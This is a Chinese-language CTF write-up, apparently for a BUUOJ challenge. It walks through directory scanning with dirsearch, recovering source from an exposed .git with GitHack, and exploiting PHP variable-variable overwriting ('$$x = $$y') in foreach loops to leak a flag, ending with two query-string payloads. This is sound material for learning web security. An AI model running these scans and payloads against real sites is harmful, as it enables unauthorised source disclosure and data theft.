先用dirsearch扫一下,访问一下没有什么
需要设置线程
dirsearch -u http://8996e81f-a75c-4180-b0ad-226d97ba61b2.node4.buuoj.cn:81/ --timeout=2 -t 1 -x 400,403,404,500,503,429
使用githack
python2 GitHack.py http://8996e81f-a75c-4180-b0ad-226d97ba61b2.node4.buuoj.cn/.git
https://www.cnblogs.com/keta/p/6117237.html foreach的语法
foreach用于遍历操作或输出数组
<?phpinclude 'flag.php';$yds = "dog";
$is = "cat";
$handsome = 'yds';foreach($_POST as $x => $y){$$x = $y;
} //传入的post值会经过这,例:传入flag=flag,得到$x=flag,$y=flag,则$flag=flag;将会得不到flag的值foreach($_GET as $x => $y){$$x = $$y;
} //#传入的get值会经过这。例:传入is=flag,得到$is=$flagforeach($_GET as $x => $y){if($_GET['flag'] === $x && $x !== 'flag'){exit($handsome);} //#get传入flag变量且值不为flag,输出handsome,退出
}if(!isset($_GET['flag']) && !isset($_POST['flag'])){exit($yds);
} //#get和post传参不能有flagif($_POST['flag'] === 'flag' || $_GET['flag'] === 'flag'){exit($is); //#用post或get传的参数必须是flag且值为flag
}echo "the flag is: ".$flag;
因为很少做变量覆盖,都是参考别人的
第一种方法:
#传入的get值会经过这。例:传入is=flag,得到$is=$flag.
foreach($_GET as $x => $y){$$x = $$y;
}
#用post或get传的参数必须是flag且值为flag
if($_POST['flag'] === 'flag' || $_GET['flag'] === 'flag'){exit($is);
}
首先传入is=flag,得到$x=is,$y=flag. 带进去变成$is=$flag;
if要求用post或get传入flag=flag,就会打印$is。而且经过foreach函数时得到$flag=$flag。没有改变内容。
即最终payload:/?is=flag&flag=flag
第二种方法:
#传入的get值会经过这。例:传入is=flag,得到$is=$flag.
foreach($_GET as $x => $y){$$x = $$y;
}
#get和post传参不能有flag
if(!isset($_GET['flag']) && !isset($_POST['flag'])){exit($yds);
}
最终输出$yds,和第一种一样,先构造yds=flag,
if要求get和post不能有flag函数。直接忽略
即payload:/?yds=flag